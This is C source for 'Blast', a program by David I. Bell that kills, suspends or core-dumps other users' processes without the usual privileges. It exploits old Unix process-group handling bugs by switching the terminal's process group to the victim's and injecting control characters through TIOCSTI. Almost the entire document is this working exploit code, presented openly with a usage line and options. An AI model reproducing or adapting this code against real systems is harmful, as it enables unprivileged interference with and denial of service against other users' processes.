/* * Blast: program to kill, core dump, or stop other programs, even without * the usual priviledges. Shows off bugs involving process group handling. * David I. Bell. (alias DBell) */ #include #include main(argc, argv) char **argv; { register char *str; /* argument */ register char *cp; /* character to type */ register int pid; /* pid to blast */ int pgrp; /* his process group */ struct sgttyb sb; /* old and new tty flags */ struct sgttyb nsb; struct tchars tc; /* tty chars */ struct ltchars lc; if (argc < 2) { fprintf(stderr, "usage: blast [-ksd] pid ...\n"); exit(1); } ioctl(0, TIOCGETP, &sb); /* turn off echoing */ nsb = sb; nsb.sg_flags &= ~ECHO; ioctl(0, TIOCSETN, &nsb); if (ioctl(0, TIOCGETC, &tc)) { /* get our tty chars */ perror("getc"); goto done; } if (ioctl(0, TIOCGLTC, &lc)) { /* and local chars */ perror("lgetc"); goto done; } argv++; cp = &tc.t_intrc; /* default is kill */ sigsetmask(-1); /* save ourselves */ while (argc-- > 1) { str = *argv++; if (*str == '-') { /* an option */ switch (str[1]) { case 'k': /* kill process */ cp = &tc.t_intrc; break; case 's': /* stop pprocess */ cp = &lc.t_suspc; break; case 'd': /* dump process */ cp = &tc.t_quitc; break; default: /* illegal */ fprintf(stderr, "bad option\n"); goto done; } continue; } pid = 0; while (*str) { /* read pid number */ pid = pid * 10; if ((*str < '0') || (*str > '9')) { fprintf(stderr, "bad number\n"); goto done; } pid += (*str++ - '0'); } pgrp = getpgrp(pid); /* get victim's process group */ if (pgrp < 0) { perror("getpgrp"); goto done; } if (ioctl(0, TIOCSPGRP, &pgrp)) { /* set tty process group */ perror("ttyspgrp"); goto done; } if (setpgrp(0, pgrp)) { /* set my own process group */ perror("spgrp"); goto done; } if (ioctl(0, TIOCSTI, cp)) { /* stuff the char on my tty */ perror("sti"); goto done; } } done: ioctl(0, TIOCSETN, &sb); /* reset echoing */ } ...